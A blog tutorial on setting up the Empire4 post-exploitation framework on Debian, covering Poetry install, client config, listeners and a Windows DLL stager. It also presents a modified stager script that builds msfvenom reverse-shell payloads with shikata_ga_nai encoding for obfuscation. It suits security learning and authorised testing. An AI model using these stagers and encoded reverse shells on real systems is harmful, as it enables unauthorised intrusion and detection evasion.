Using Empire4 without Kali
Tags: cybersecurity, empire, python, linux
Published: 2022-01-22 10:18:51

---
title: Using Empire4 without Kali
published: true
description: Configuring  both client and server side with poetry and python 3.9.
tags: cybersecurity, empire, python, linux
cover_image: https://images.unsplash.com/photo-1484824823018-c36f00489002?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=1470&q=80
---

I've found a lot of information on how to use Empire4 on Kali, but Kali itself is a little messy, and I wanted to use it in my own simple, Debian based server and device. After testing and playing around I decided to write about it.

First of all, [Empire4](https://github.com/BC-SECURITY/Empire) is a post-exploitation framework, such as Cobalt Strike, Covenant or Meterpreter. It actually rely a lot on Meterpreter, as I will explain later. This means it allows you to deploy listeners in your server and configure attacks connected to them. Empire itself was active for so many years and became deprecated, then Empire4 came up using updated resources. It's open source and it's used for both threat actors (cybercriminals) and offensive security auditors, as well as students of course. 

For configuring it, I decided to use both my VPS and my personal device, since anyway I need to deploy a server and a client instances. Empire4 uses Poetry to launch. [Poetry](https://python-poetry.org/) is a tool for dependency management and packaging in Python. Empire uses this library which also deploys under Python3.9. I made sure to install that version (as well as the correspondent pip version). If installing version 3.9 of pip is not working, it use in order to get poetry can be forced through:

```
sudo python3.9 -m pip install poetry
```
It may require an additional library depending on the OS, I needed `urllib2` library, which I installed using the same trick from above. In order to make the deploy on the clien side work, I need to configure the server on `/empire/client/config.yaml`, in which `localhost` is already installed and there are a couple of mock server examples. I used that slot to put my server IP and configure the name:

```
...
servers:
localhost:
host: https://localhost
port: 1337
socketport: 5000
username: empireadmin
password: password123
autoconnect: true
<NAME>:
host: https://<server IP>
port: 1337
socketport: 5000
username: empireadmin
password: <mypassword>
...
```

And finally one last step before using the client side. Configuring a cert key pair. Fortunately the Empire4 repository already has a script for that so only thing that is needed is to execute:

```
sudo ./setup/cert.sh
``` 
And maybe move the certs to your desired location. If you want to create the certs on your own that's fine too, the location will be asked later to be set manually. Okay, now if the python3.9 and its correspondent Poetry version as well as the rest libraries needed is solved, next step is to start the server. 

```
poetry run python3 empire.py server
```
Once the server started we can connect through the client, using the configuration we set in `/empire/client/config.yaml`, in my case I will connect to myserver.

```
poetry run python3 empire.py client
...
(Empire:) connect -c myserver
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/501gpkayrinzmcycln3q.png)

Once it's up and running, now we can set a listener to work with. The grammar changed a little bit since regular empire. We will use:

```
(Empire:) listeners
```
To list the listeners if there are any and:

```
(Empire:) uselistener http
```
To set up a http listener. There are other templates, as well. 

Now to make it work, we need to configure the options that are shown related to the listener. Specially the `CertPath`, which is related to the key pair previously generated. So:

```
(Empire: uselistener/http) > set CertPath </path/where/your/keypair/is>
```
We can also change anything else in case the default options are not satisfactory. Once the setup us done, the command to deploy is `execute`. Once the listener is up and running we can use some Stagers and start messing around, for example:

```
(Empire:) usestager windows/dll http
(Empire: usestager/windows/dll) > set Listener http
[*] Set Listener to http
(Empire: usestager/windows/dll) > execute
[+] launcher.dll written to ...

```

Now, I realized that some modules take advantage of `msfvenom` to work. The `msfvenom` tool is the Meterpreter payload generator. This is the case of the reverse shell generator. The default configuration of the module distinguish among architechtures but doesn't obfuscate the output in any case. I decided to [make some changes](https://github.com/terceranexus6/Empire/blob/master/empire/server/stagers/windows/reverseshell.py) in [my own fork](https://github.com/terceranexus6/Empire/) in order to use SGN encoder with x86 architecture, as you can se bellow in `empire/server/stagers/windows/reverseshell.py`:

```
...
        if (arch == "x64"):
            msf_payload = "windows/x64/shell_reverse_tcp"
            # generate the msfvenom command
            msf_command = f'msfvenom -p {msf_payload} LHOST={lhost} LPORT={lport} -f {msf_format}'
        else:
            print("[*] Using Shikata ga nai for this architechture")
            msf_payload = "windows/shell_reverse_tcp"
            # generate the msfvenom command with SGN
            msf_command = f'msfvenom -a {arch} --platform windows -p {msf_payload} LHOST={lhost} LPORT={lport} -e x86/shikata_ga_nai -f {msf_format}'
...
```
If `msfvenom` is already initiated at least once in the server, the changes work perfectly and the stager is encoded while using x86 architecture. Anyway this way is way clearer for me than using Starkiller, and if, as well as myself, you are not a fan of Kali OS, I hope this is somehow helpful.